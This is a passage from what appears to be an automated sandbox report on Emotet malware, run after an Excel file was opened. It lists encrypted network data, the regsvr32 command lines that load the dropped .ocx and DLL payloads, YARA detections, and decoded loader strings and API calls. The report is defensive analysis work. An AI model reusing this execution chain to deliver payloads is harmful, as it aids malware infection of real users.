2022-05-23 07:56:39 UTC	288	IN	Data Raw: 2b af 85 5e 30 6b 6a c1 5f 14 4d b0 fb 76 41 24 5f cd ae 27 fb 63 0c e2 24 c3 ed e7 df 41 6d 35 76 1d 42 71 6a 2e 5b b4 b3 ca 68 6b 63 43 65 b5 c3 4f 64 37 35 9f 1e 35 6a a0 e0 39 7b 24 55 75 57 e9 68 81 c3 29 6a 6a 5e 2c 72 a4 4e b7 cb 58 25 5f 79 6c d9 e5 33 6e 2a 68 35 89 99 59 da f9 2d 77 43 35 fa e7 76 59 45 72 8f a3 a8 63 43 2a bf eb 57 64 37 35 7d 4e 90 27 ee 46 a8 09 2c bc 10 66 2b 68 c7 cb 21 6a 6a 5e e2 23 6f 31 ce cd ea 8e f5 f2 e4 48 51 2b 6f dd 89 89 c0 64 d3 c4 7c 34 76 43 b6 f4 7a 67 58 45 81 0c fd 7a 62 43 62 1a ff da 75 36 35 3c e4 d1 7b 66 65 21 82 fe 50 38 2f a0 dd 10 4f 31 6b ad 1a 6c 50 df 15 00 66 c1 60 7b 15 66 70 50 2b 2e a1 a6 c9 5e 42 36 30 c4 47 76 84 71 55 0a 19 3d 17 72 a6 1c 4e 03 53 e3 40 52 3f af 2b 4b 59 a2 e1 73 66 65 21 Data Ascii: +^0kj_MvA$_'c$Am5vBqj.[hkcCeOd755j9{$UuWh)jj^,rNX%_yl3nh5Y-wC5vYErcCWd75}N'F,f+h!jj^#o1HQ+od\|4vCzgXEzbCbu65<{fe!P8/O1klPf`{fpP+.^B60GvqU=rNS@R?+KYsfe!
2022-05-23 07:56:39 UTC	304	IN	Data Raw: bc 6e aa 93 b7 c3 05 b8 f7 ae 41 24 5f 31 e4 5d 1a 2a 91 d5 20 c1 ab be 5a 51 6c 7d fb 46 75 f5 94 99 10 cc f3 9f 78 6a 63 0b ef 31 20 0e 9a c8 7d b5 e4 64 69 67 65 69 f7 21 29 57 6b 2b 20 89 cf 99 6a 6a 5e 00 b1 48 ff 25 66 40 6c d6 f8 29 59 50 2b 27 a7 6d 9c 11 98 a5 19 e5 74 4e 0b b8 74 eb 5e a6 ba 3a ee f9 8a 62 43 62 7c fb 5a ba 7e cb c3 2d ed ea 77 67 21 7a 6c d8 3c 46 fd 96 ff 06 b8 ea fa 5e 48 3c 05 bc 73 71 52 da a0 31 e0 d9 a8 2a 6f 2a 20 c5 2f 1b 2a 51 6c 7d ff c2 3d 73 6a 66 10 c8 77 68 b6 95 9c 0b eb b5 4e 5e 65 37 7d b1 60 55 ea 99 9a 69 f3 a5 8d 38 6b 2b 20 8d 4b fe 40 94 a1 00 b5 cc 99 76 66 40 6c d2 7c 2c 3b af d4 27 a3 e9 18 2b 66 5a 19 e1 30 7d 30 ca 8e 22 ef d9 e5 72 67 78 22 ee 46 73 61 76 5f 2d be b4 ec 65 64 6b 2f e8 24 85 08 ab c6 Data Ascii: nA$_1]* ZQl}Fuxjc1 }digei!)Wk+ jj^H%f@l)YP+'mtNt^:bCb\|Z~-wg!zl<F^H<sqR1o /*Ql}=sjfwhN^e7}`Ui8k+ K@vf@l\|,;'+fZ0}0"rgx"Fsav_-edk/$
2022-05-23 07:56:39 UTC	320	IN	Data Raw: 48 7d c6 eb b1 22 64 40 76 04 62 58 b8 9e 9b d7 97 05 a1 a9 16 da ab be a5 0b be bf 22 ef f4 61 ca 67 78 6a 2f ca d6 10 c6 5f 65 37 79 b1 39 40 1b 2e ee 7a 5a 6d de 52 43 62 e3 73 7e 78 e0 89 1f 17 7d 13 6e 3e 99 a0 e8 93 f0 3d 7c 40 a2 23 0e 60 1d 62 ed b6 19 ef d9 16 84 70 69 76 fb 59 45 b5 22 60 2e 54 63 62 bf 33 47 e8 3b 75 3f ac ed 26 7f e4 54 62 c3 70 d1 6d a0 2d 18 c7 74 87 ad 1b 50 59 44 8a 76 ed 0d 3c e7 fe 08 40 d6 dc 8e 01 a2 99 c3 65 90 90 85 33 ff 0e 2d f0 1f 7e 2e 0a 5a 5e f3 2f 7b ca 27 c4 b1 1a 7d ca 9a 8d 65 0f 2e 7f 1f a8 3f 3c d4 4c 73 ec c9 9c 1a ba 2e 72 d7 0d d4 8a 74 56 f2 cf 39 5f c1 b2 32 a0 37 ee 67 48 a1 f3 c1 ca d0 19 15 88 9c 8a e1 ad 23 40 a0 71 f9 78 e1 2e 5b 95 d5 5d 95 b4 de 36 f6 a4 8d 6d ee 28 39 bb 41 4d 30 ea 66 70 a8 Data Ascii: H}"d@vbX"agxj/_e7y9@.zZmRCbs~x}n>=\|@#`bpivYE"`.Tcb3G;u?&Tbpm-tPYDv<@e3-~.Z^/{'}e.?<Ls.rtV9_27gH#@qx.[]6m(9AM0fp
2022-05-23 07:56:39 UTC	336	IN	Data Raw: 52 6e 15 6c d4 95 21 db bc 5b a8 6f 78 20 7e 6b 5a 96 29 25 28 0b 93 71 e1 2b 48 fd 83 97 88 9a 94 a2 a3 de 73 d6 30 27 b4 49 75 fb c0 0b 6b aa 3f 34 dc 7c 83 ec 2d 10 c7 e9 21 6a df 0d 2c d7 3b 76 66 c1 51 4f c0 93 55 70 a0 2a 3a e1 0d f2 a1 1f 41 a5 2a fb 43 be 3c 7a de 61 cb 91 5f 8f 8b b2 a9 eb 61 66 de 10 27 f6 cd 1b e0 ea 2a 75 40 90 ad 8d b8 1e 3b 43 f2 df c9 e0 2f 4e c1 79 91 f6 33 76 ec c7 a1 79 a8 3d 40 27 ee 5f 78 92 f8 22 c6 da 29 25 ff 06 d1 b6 2f 76 96 29 ab 67 f9 2f 73 1b 80 cb 89 de 20 27 2f a0 9a 9b aa 0a 75 2f fb 51 45 97 31 02 14 8b 0b 21 e2 2f be 8f 79 5d 79 89 76 40 a5 12 69 59 58 d9 3c ee 5f 78 aa cc c6 3f da 29 25 ff 06 d9 b6 2f 76 f6 8d 46 67 a9 0f 73 c2 17 24 b0 d7 b3 02 be 79 75 ed 2e 97 a2 64 aa d8 90 b0 6b ea 05 d0 46 b0 1e ba Data Ascii: Rnl![ox ~kZ)%(q+Hs0'Iuk?4\|-!j,;vfQOUp:AC<za_af'*u@;C/Ny3vy=@'_x")%/v)g/s '/u/QE1!/y]yv@iYX<_x?)%/vFgs$yu.dkF
2022-05-23 07:56:39 UTC	352	IN	Data Raw: 5f 79 98 86 50 2b 8b e9 6a 48 de b8 5a 51 43 d4 76 43 75 b2 68 66 68 a4 72 67 a9 8f 63 43 92 f7 74 5f b1 d2 35 3c 5a 83 6b 67 11 e0 78 24 15 de 6b 2b 89 e7 4e 31 63 ae 5c 48 d8 aa 31 76 83 a8 24 5f 5d a9 5a 50 c3 87 2a 68 d2 c3 66 5a 69 ae 37 76 df dc 71 6a 41 aa 45 72 73 bc 68 63 6b 90 34 76 77 96 37 35 20 a7 66 6b 4f 96 21 7a 11 a0 39 6b 0f ac 02 4e 65 9e 6a 5e ad c2 4d 31 36 a2 42 24 b7 87 69 58 ed d4 6f 2a 3c 8c 28 66 9a ae 6c 35 5d 5e 34 71 0a a2 5a 45 5e 7a 79 6a 91 5e 63 34 02 9b 67 37 c1 21 64 64 9e 79 64 21 fa e0 57 39 93 35 69 00 0a 11 6a 6a ce 8c 3e 4d 75 56 67 40 4c 7e 78 69 f8 90 29 6f 42 49 49 2a 11 79 50 6c 91 b2 41 35 09 49 67 58 b1 56 66 78 d2 a7 41 62 34 53 5e 65 49 13 3d 65 10 aa 65 65 a1 5c 25 55 81 4c 2a 68 68 8c 33 6b d2 79 49 3c 29 Data Ascii: _yP+jHZQCvCuhfhrgcCt_5<Zkgx$k+N1c\H1v$_]ZPhfZi7vqjAErshck4vw75 fkO!z9kNej^M16B$iXo<(fl5]^4qZE^zyj^c4g7!ddyd!W95ijj>MuVg@L~xi)oBIIyPlA5IgXVfxAb4S^eI=eee\%ULhh3kyI<)

Statistics

CPU Usage

Click to jump to process

Memory Usage

Click to jump to process

High Level Behavior Distribution

Click to dive into process behavior distribution

Behavior

Click to jump to process

System Behavior

Analysis Process: EXCEL.EXEPID: 1704, Parent PID: 576

General

Target ID:	0
Start time:	09:57:12
Start date:	23/05/2022
Path:	C:\Program Files\Microsoft Office\Office14\EXCEL.EXE
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Microsoft Office\Office14\EXCEL.EXE" /automation -Embedding
Imagebase:	0x13f300000
File size:	28253536 bytes
MD5 hash:	D53B85E21886D2AF9815C377537BCAC3
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high

Show Windows behavior

Chronological Activities

Analysis Process: regsvr32.exePID: 2976, Parent PID: 1704

General

Target ID:	3
Start time:	09:57:21
Start date:	23/05/2022
Path:	C:\Windows\System32\regsvr32.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\System32\regsvr32.exe /S ..\uxevr1.ocx
Imagebase:	0xff510000
File size:	19456 bytes
MD5 hash:	59BCE9F07985F8A4204F4D6554CFF708
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Emotet_1, Description: Yara detected Emotet, Source: 00000003.00000002.914603769.0000000180001000.00000020.00001000.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_Emotet_1, Description: Yara detected Emotet, Source: 00000003.00000002.914158918.00000000003E0000.00000040.00001000.00020000.00000000.sdmp, Author: Joe Security
Reputation:	high

Show Windows behavior

Chronological Activities

Analysis Process: regsvr32.exePID: 2188, Parent PID: 2976

General

Target ID:	4
Start time:	09:57:22
Start date:	23/05/2022
Path:	C:\Windows\System32\regsvr32.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\regsvr32.exe "C:\Windows\system32\PlMfP\OpoHHoBHS.dll"
Imagebase:	0xff510000
File size:	19456 bytes
MD5 hash:	59BCE9F07985F8A4204F4D6554CFF708
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Emotet_1, Description: Yara detected Emotet, Source: 00000004.00000002.1248680431.0000000000160000.00000040.00001000.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_Emotet_1, Description: Yara detected Emotet, Source: 00000004.00000002.1249251446.0000000180001000.00000020.00001000.00020000.00000000.sdmp, Author: Joe Security
Reputation:	high

Show Windows behavior

Chronological Activities

Analysis Process: regsvr32.exePID: 2396, Parent PID: 1704

General

Target ID:	5
Start time:	09:57:23
Start date:	23/05/2022
Path:	C:\Windows\System32\regsvr32.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\System32\regsvr32.exe /S ..\uxevr2.ocx
Imagebase:	0xff510000
File size:	19456 bytes
MD5 hash:	59BCE9F07985F8A4204F4D6554CFF708
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Emotet_1, Description: Yara detected Emotet, Source: 00000005.00000002.919789550.0000000180001000.00000020.00001000.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_Emotet_1, Description: Yara detected Emotet, Source: 00000005.00000002.919412326.0000000000140000.00000040.00001000.00020000.00000000.sdmp, Author: Joe Security
Reputation:	high

Show Windows behavior

Chronological Activities

Analysis Process: svchost.exePID: 2472, Parent PID: 404

General

Target ID:	6
Start time:	09:57:23
Start date:	23/05/2022
Path:	C:\Windows\System32\svchost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\System32\svchost.exe -k WerSvcGroup
Imagebase:	0xff7d0000
File size:	27136 bytes
MD5 hash:	C78655BC80301D76ED4FEF1C1EA40A7D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	moderate

Show Windows behavior

Chronological Activities

Analysis Process: regsvr32.exePID: 2212, Parent PID: 2396

General

Target ID:	7
Start time:	09:57:25
Start date:	23/05/2022
Path:	C:\Windows\System32\regsvr32.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\regsvr32.exe "C:\Windows\system32\AVQhDTOoTQ\JuebGslFXTeyRNG.dll"
Imagebase:	0xff510000
File size:	19456 bytes
MD5 hash:	59BCE9F07985F8A4204F4D6554CFF708
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Emotet_1, Description: Yara detected Emotet, Source: 00000007.00000002.1248874495.0000000000510000.00000040.00001000.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_Emotet_1, Description: Yara detected Emotet, Source: 00000007.00000002.1249180337.0000000180001000.00000020.00001000.00020000.00000000.sdmp, Author: Joe Security
Reputation:	high

Show Windows behavior

Chronological Activities

Analysis Process: regsvr32.exePID: 1800, Parent PID: 1704

General

Target ID:	8
Start time:	09:57:28
Start date:	23/05/2022
Path:	C:\Windows\System32\regsvr32.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\System32\regsvr32.exe /S ..\uxevr3.ocx
Imagebase:	0xff510000
File size:	19456 bytes
MD5 hash:	59BCE9F07985F8A4204F4D6554CFF708
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Emotet_1, Description: Yara detected Emotet, Source: 00000008.00000002.930405356.0000000180001000.00000020.00001000.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_Emotet_1, Description: Yara detected Emotet, Source: 00000008.00000002.930201138.00000000003C0000.00000040.00001000.00020000.00000000.sdmp, Author: Joe Security
Reputation:	high

Show Windows behavior

Chronological Activities

Analysis Process: regsvr32.exePID: 2404, Parent PID: 1800

General

Target ID:	9
Start time:	09:57:30
Start date:	23/05/2022
Path:	C:\Windows\System32\regsvr32.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\regsvr32.exe "C:\Windows\system32\IWJyiUbrMYkKNab\HrQqTfHWMtY.dll"
Imagebase:	0xff510000
File size:	19456 bytes
MD5 hash:	59BCE9F07985F8A4204F4D6554CFF708
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Emotet_1, Description: Yara detected Emotet, Source: 00000009.00000002.1249191933.0000000180001000.00000020.00001000.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_Emotet_1, Description: Yara detected Emotet, Source: 00000009.00000002.1248687990.0000000000140000.00000040.00001000.00020000.00000000.sdmp, Author: Joe Security
Reputation:	high

Show Windows behavior

Chronological Activities

Analysis Process: regsvr32.exePID: 972, Parent PID: 1704

General

Target ID:	11
Start time:	09:57:51
Start date:	23/05/2022
Path:	C:\Windows\System32\regsvr32.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\System32\regsvr32.exe /S ..\uxevr4.ocx
Imagebase:	0xff510000
File size:	19456 bytes
MD5 hash:	59BCE9F07985F8A4204F4D6554CFF708
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high

Show Windows behavior

Chronological Activities

Disassembly

Reset < >

Analysis Process: regsvr32.exePID: 2976, Parent PID: 1704COMMON

Execution Graph

Execution Coverage:	6.7%
Dynamic/Decrypted Code Coverage:	2.5%
Signature Coverage:	10%
Total number of Nodes:	1905
Total number of Limit Nodes:	30

Executed Functions

Function 000007FEF9D212B0 Relevance: 210.9, APIs: 6, Strings: 114, Instructions: 872
memorywindowCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CoLoadLibrary.OLE32 ref: 000007FEF9D22F02
MessageBoxA.USER32 ref: 000007FEF9D22F1C
ExitProcess.KERNEL32 ref: 000007FEF9D22F27
VirtualAlloc.KERNELBASE ref: 000007FEF9D22F57
RtlAllocateHeap.NTDLL ref: 000007FEF9D22F65
CoTaskMemFree.OLE32 ref: 000007FEF9D22F86

Strings

M13U, xrefs: 000007FEF9D217B6
%U9, xrefs: 000007FEF9D22A9E
Ko*h, xrefs: 000007FEF9D22CC4
S}pn, xrefs: 000007FEF9D222BA
1\u, xrefs: 000007FEF9D22CBA
i~e, xrefs: 000007FEF9D21FCC
*hH, xrefs: 000007FEF9D21386
l|f, xrefs: 000007FEF9D22080
<v:, xrefs: 000007FEF9D21A4A
FLIn, xrefs: 000007FEF9D228FA
?x?, xrefs: 000007FEF9D21D2E
Cb47, xrefs: 000007FEF9D22D00
e7tc, xrefs: 000007FEF9D22C6A
mCl4, xrefs: 000007FEF9D216C6
HPZ, xrefs: 000007FEF9D22896
Eekg, xrefs: 000007FEF9D224D6
wk/, xrefs: 000007FEF9D21784
.#(, xrefs: 000007FEF9D21346
g@$, xrefs: 000007FEF9D22328
rkE@, xrefs: 000007FEF9D21415
5qj', xrefs: 000007FEF9D21F90
pAT#, xrefs: 000007FEF9D21B4E
|e:, xrefs: 000007FEF9D22EDD
0kj., xrefs: 000007FEF9D2144D
%8#, xrefs: 000007FEF9D21D06
aUJ', xrefs: 000007FEF9D217F2
xA\#, xrefs: 000007FEF9D2163A
"V2, xrefs: 000007FEF9D2280A
$}%z, xrefs: 000007FEF9D22C7E
D)'U, xrefs: 000007FEF9D222A6
9[+, xrefs: 000007FEF9D21FD6
`AnM, xrefs: 000007FEF9D22E6F
QlyO, xrefs: 000007FEF9D21D9C
+iT, xrefs: 000007FEF9D22012
$931, xrefs: 000007FEF9D21D56
U9#(, xrefs: 000007FEF9D224EA
N3, xrefs: 000007FEF9D2245E
$huN, xrefs: 000007FEF9D22DE6
;qdf, xrefs: 000007FEF9D21A7C
cDj, xrefs: 000007FEF9D218E2
R;pB, xrefs: 000007FEF9D21BBC
tc`, xrefs: 000007FEF9D221C0
:!@, xrefs: 000007FEF9D2145B
hx", xrefs: 000007FEF9D21B30
} z$, xrefs: 000007FEF9D229F4
kxfc, xrefs: 000007FEF9D218A6
MDj, xrefs: 000007FEF9D2281E
Pl5, xrefs: 000007FEF9D21E3C
oE, xrefs: 000007FEF9D22418
4bB, xrefs: 000007FEF9D22210
}WL, xrefs: 000007FEF9D21A22
VO4, xrefs: 000007FEF9D21BD0
w&ed, xrefs: 000007FEF9D22288
<M}O, xrefs: 000007FEF9D21D6A
@ , xrefs: 000007FEF9D229EA
h78<, xrefs: 000007FEF9D21AA4
{$U|, xrefs: 000007FEF9D223A0
PX5, xrefs: 000007FEF9D2265C
$D1v, xrefs: 000007FEF9D215CC
}'6, xrefs: 000007FEF9D21B76
^*C, xrefs: 000007FEF9D2209E
wC54, xrefs: 000007FEF9D22AF8
?CE`, xrefs: 000007FEF9D21BF8
It, xrefs: 000007FEF9D21CC0
%</, xrefs: 000007FEF9D224A4
-'C, xrefs: 000007FEF9D21AAE
,$n, xrefs: 000007FEF9D21658
{fM$, xrefs: 000007FEF9D21B8A
V#s, xrefs: 000007FEF9D21676
:'U@, xrefs: 000007FEF9D22490
*hH%, xrefs: 000007FEF9D2215C
>~, xrefs: 000007FEF9D21DA6
t(O, xrefs: 000007FEF9D218C4
,1., xrefs: 000007FEF9D2258A
&\hR, xrefs: 000007FEF9D21EBE
"!k, xrefs: 000007FEF9D221FC
2s<S, xrefs: 000007FEF9D2236E
0.3, xrefs: 000007FEF9D213AC
M z, xrefs: 000007FEF9D21438
M1vi, xrefs: 000007FEF9D226F2
+ong, xrefs: 000007FEF9D22A3A
`I, xrefs: 000007FEF9D22634
ePO, xrefs: 000007FEF9D21A04
$:*:, xrefs: 000007FEF9D22C74
j+h, xrefs: 000007FEF9D228BE
S[L, xrefs: 000007FEF9D2218E
c-_j, xrefs: 000007FEF9D221F2
:9m?, xrefs: 000007FEF9D22792
=kf^, xrefs: 000007FEF9D21662
P+oo, xrefs: 000007FEF9D2233C
Ya], xrefs: 000007FEF9D21590
3ob, xrefs: 000007FEF9D215EA
V9s, xrefs: 000007FEF9D2260C
5vCx, xrefs: 000007FEF9D22B98
(pd, xrefs: 000007FEF9D221CA
mbPv, xrefs: 000007FEF9D21423
jfX, xrefs: 000007FEF9D21EF0
%<, xrefs: 000007FEF9D22CE2
U+on, xrefs: 000007FEF9D21E28
EBg, xrefs: 000007FEF9D21F9A
<)@P, xrefs: 000007FEF9D215E0
BxJr, xrefs: 000007FEF9D21B26
!@C+, xrefs: 000007FEF9D21824
Puvm, xrefs: 000007FEF9D22D0A
gVWH, xrefs: 000007FEF9D21D88
#z$U, xrefs: 000007FEF9D221B6
|X, xrefs: 000007FEF9D21AC2
werfault.exe, xrefs: 000007FEF9D22E68
%Uc, xrefs: 000007FEF9D22E18
8<-, xrefs: 000007FEF9D21BEE
N1kj^H<M1vf@$_yiXP+o*hH*fZQl5vC5qjfXErgxjcCb4v_e75<edkge!z$U9k+h, xrefs: 000007FEF9D22FBB
L ]1, xrefs: 000007FEF9D21842
C/, xrefs: 000007FEF9D21E82
-{*, xrefs: 000007FEF9D2285A

Memory Dump Source

Source File: 00000003.00000002.914647575.000007FEF9D21000.00000020.00000001.01000000.00000005.sdmp, Offset: 000007FEF9D20000, based on PE: true

Associated: 00000003.00000002.914644527.000007FEF9D20000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.914674524.000007FEF9D42000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.914682301.000007FEF9D4B000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.914686597.000007FEF9D4F000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7fef9d20000_regsvr32.jbxd

Similarity

API ID: AllocAllocateExitFreeHeapLibraryLoadMessageProcessTaskVirtual
String ID: %<$Ya]$g@$$|X$ 4bB$!@C+$"V2$#z$U$$931$$:*:$$D1v$$huN$$}%z$%8#$%</$%U9$&\hR$*hH%$+ong$+iT$-{*$-'C$.#($0kj.$0.3$1\u$2s<S$3ob$5qj'$5vCx$8<-$:!@$:'U@$:9m?$;qdf$<)@P$<M}O$<v:$=kf^$>~$?CE`$@ $BxJr$C/$Cb47$D)'U$Eekg$FLIn$HPZ$Ko*h$L ]1$M13U$M1vi$MDj$N1kj^H<M1vf@$_yiXP+o*hH*fZQl5vC5qjfXErgxjcCb4v_e75<edkge!z$U9k+h$P+oo$PX5$Puvm$QlyO$R;pB$S[L$S}pn$U+on$U9#($V#s$V9s$VO4$^*C$`AnM$aUJ'$c-_j$cDj$e7tc$ePO$gVWH$h78<$hx"$j+h$kxfc$l|f$mCl4$mbPv$pAT#$rkE@$t(O$tc`$w&ed$wC54$werfault.exe$wk/$xA\#${$U|${fM$$|e:$} z$$}'6$}WL$It$"!k$%Uc$(pd$*hH$,$n$,1.$9[+$?x?$EBg$M z$N3$Pl5$i~e$jfX$oE$`I
API String ID: 2181984824-2032897877
Opcode ID: be2b6721a01229fe6d62131d54c2e067f3d2e24da2d5df3bb551e88fe72b0fff
Instruction ID: 1e3beb4b4c43f569e156fbbbb3a48c6786d138466eab30fa5612b4063b7ac052
Opcode Fuzzy Hash: be2b6721a01229fe6d62131d54c2e067f3d2e24da2d5df3bb551e88fe72b0fff
Instruction Fuzzy Hash: 72E2C9B690A7C18FE3748F629E857DD3AA0F345748F609208D3991FA1DCB795242CF86

Uniqueness

Uniqueness Score: -1.00%

Function 001D0000 Relevance: 74.6, APIs: 4, Strings: 38, Instructions: 1094
memoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

VirtualAlloc.KERNELBASE ref: 001D0450
GetNativeSystemInfo.KERNEL32 ref: 001D0539
VirtualAlloc.KERNELBASE ref: 001D0580
VirtualProtect.KERNELBASE ref: 001D09E9

Strings

ativ, xrefs: 001D013D
Flus, xrefs: 001D0113
Free, xrefs: 001D034D
Reso, xrefs: 001D0338
ncti, xrefs: 001D016A
Reso, xrefs: 001D02DB
ualA, xrefs: 001D00E8
ofRe, xrefs: 001D0318
urce, xrefs: 001D02E7
ualP, xrefs: 001D00FF
lloc, xrefs: 001D00F0
Virt, xrefs: 001D00F8
Virt, xrefs: 001D00E0
Load, xrefs: 001D00C8
Find, xrefs: 001D02D0
RtlA, xrefs: 001D015C
urce, xrefs: 001D0340
urce, xrefs: 001D035D
Size, xrefs: 001D0311
Load, xrefs: 001D02F4
Libr, xrefs: 001D00D0
onTa, xrefs: 001D0171
Cach, xrefs: 001D012F
GetN, xrefs: 001D0136
urce, xrefs: 001D0304
truc, xrefs: 001D0121
rote, xrefs: 001D0106
ddFu, xrefs: 001D0163
hIns, xrefs: 001D011A
aryA, xrefs: 001D00D8
Slee, xrefs: 001D00B7
temI, xrefs: 001D014B
tion, xrefs: 001D0128
Lock, xrefs: 001D0330
Reso, xrefs: 001D0355
sour, xrefs: 001D031F
Reso, xrefs: 001D02FC
eSys, xrefs: 001D0144

Memory Dump Source

Source File: 00000003.00000002.914129745.00000000001D0000.00000040.00001000.00020000.00000000.sdmp, Offset: 001D0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_1d0000_regsvr32.jbxd

Similarity

API ID: Virtual$Alloc$InfoNativeProtectSystem
String ID: Cach$Find$Flus$Free$GetN$Libr$Load$Load$Lock$Reso$Reso$Reso$Reso$RtlA$Size$Slee$Virt$Virt$aryA$ativ$ddFu$eSys$hIns$lloc$ncti$ofRe$onTa$rote$sour$temI$tion$truc$ualA$ualP$urce$urce$urce$urce
API String ID: 2313188843-2517549848
Opcode ID: 590c178917582490f2a8474f3428d2fdec128c188f960b73743dba758a98ecc8
Instruction ID: e32d577f96bf42e53fe5b3973e26e6075cf822b90ea1bb18d5f9077e5a7e4597
Opcode Fuzzy Hash: 590c178917582490f2a8474f3428d2fdec128c188f960b73743dba758a98ecc8
Instruction Fuzzy Hash: DE72C430618B488BDB1DDF18D8957B9B7E1FB98305F10462EE88AD7311DB34E986CB85

Uniqueness

Uniqueness Score: -1.00%

Function 000000018002B7B2 Relevance: 7.9, Strings: 6, Instructions: 449
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

m?, xrefs: 000000018002BBF9
BaG, xrefs: 000000018002BE19
i1V, xrefs: 000000018002BC55
{=/, xrefs: 000000018002B8E8
E^7, xrefs: 000000018002BD0B
j, xrefs: 000000018002BD56

Memory Dump Source

Source File: 00000003.00000002.914603769.0000000180001000.00000020.00001000.00020000.00000000.sdmp, Offset: 0000000180001000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_180001000_regsvr32.jbxd

Yara matches

Similarity

API ID:
String ID: j$BaG$E^7$i1V$m?${=/
API String ID: 0-1718370006
Opcode ID: 7e95e28927a3f474dec44438ef6f7c2193a6ae12a65f48f1ee29bcd4551fec0f
Instruction ID: c2786c6f7bce021451845d5168b6505f680b7f0c5368ce25f063ff62f9696b2b
Opcode Fuzzy Hash: 7e95e28927a3f474dec44438ef6f7c2193a6ae12a65f48f1ee29bcd4551fec0f
Instruction Fuzzy Hash: 64223B70E4870DDBCB59DFA8C4AA6DEBBF6FB44344F0081A9D805A7290DB74560ACB85

Uniqueness

Uniqueness Score: -1.00%

Function 0000000180005C74 Relevance: 6.6, Strings: 5, Instructions: 307
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

$E, xrefs: 0000000180005F53
&C, xrefs: 0000000180005D95
z_o^, xrefs: 0000000180005E6A
b , xrefs: 0000000180005CFC
]o-, xrefs: 0000000180006087

Memory Dump Source

Source File: 00000003.00000002.914603769.0000000180001000.00000020.00001000.00020000.00000000.sdmp, Offset: 0000000180001000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_180001000_regsvr32.jbxd

Yara matches

Similarity

API ID:
String ID: $E$&C$b $z_o^$]o-
API String ID: 0-182765021
Opcode ID: fd2830ddd061059d70b3ed5c5ef2773e5c4c00071749e16c1f80641060217d81
Instruction ID: b82cae2a5c5b3167ef3d8ad315f999371e1e8449cd72bf967428ee4211bfb190
Opcode Fuzzy Hash: fd2830ddd061059d70b3ed5c5ef2773e5c4c00071749e16c1f80641060217d81
Instruction Fuzzy Hash: 5CE1277151468CDFDF88DF28C889ADD3BA1FB483A8F956219FD0A97250D774D888CB84

Uniqueness

Uniqueness Score: -1.00%

Function 000000018000359C Relevance: 6.5, Strings: 5, Instructions: 235
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

?I , xrefs: 00000001800039AB
k?@`, xrefs: 0000000180003705
8, xrefs: 000000018000367F
s, xrefs: 0000000180003832
{>K, xrefs: 0000000180003892

Memory Dump Source

Source File: 00000003.00000002.914603769.0000000180001000.00000020.00001000.00020000.00000000.sdmp, Offset: 0000000180001000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_180001000_regsvr32.jbxd

Yara matches

Similarity

API ID:
String ID: 8$?I $k?@`${>K$s
API String ID: 0-923624899
Opcode ID: 59fac920170ce31af9fc739010187020a0354a51edcd4550f4f509655bae4bf8
Instruction ID: ebffd08f5432af4d9268e2276ec0df8890e8c351c8fd12e1d0a52c84a5ba0a07
Opcode Fuzzy Hash: 59fac920170ce31af9fc739010187020a0354a51edcd4550f4f509655bae4bf8
Instruction Fuzzy Hash: F4C1F070519784ABC388DF24C4CA95BBBF1FBD4758F906A1CF9C68A260D774D948CB42

Uniqueness

Uniqueness Score: -1.00%

Function 000000018000E99C Relevance: 5.4, Strings: 4, Instructions: 373
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

`/U, xrefs: 000000018000EF79
\, xrefs: 000000018000F001
&k8, xrefs: 000000018000EB8F
,8, xrefs: 000000018000EF6F

Memory Dump Source

Source File: 00000003.00000002.914603769.0000000180001000.00000020.00001000.00020000.00000000.sdmp, Offset: 0000000180001000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_180001000_regsvr32.jbxd

Yara matches

Similarity

API ID:
String ID: &k8$,8$\$`/U
API String ID: 0-956392518
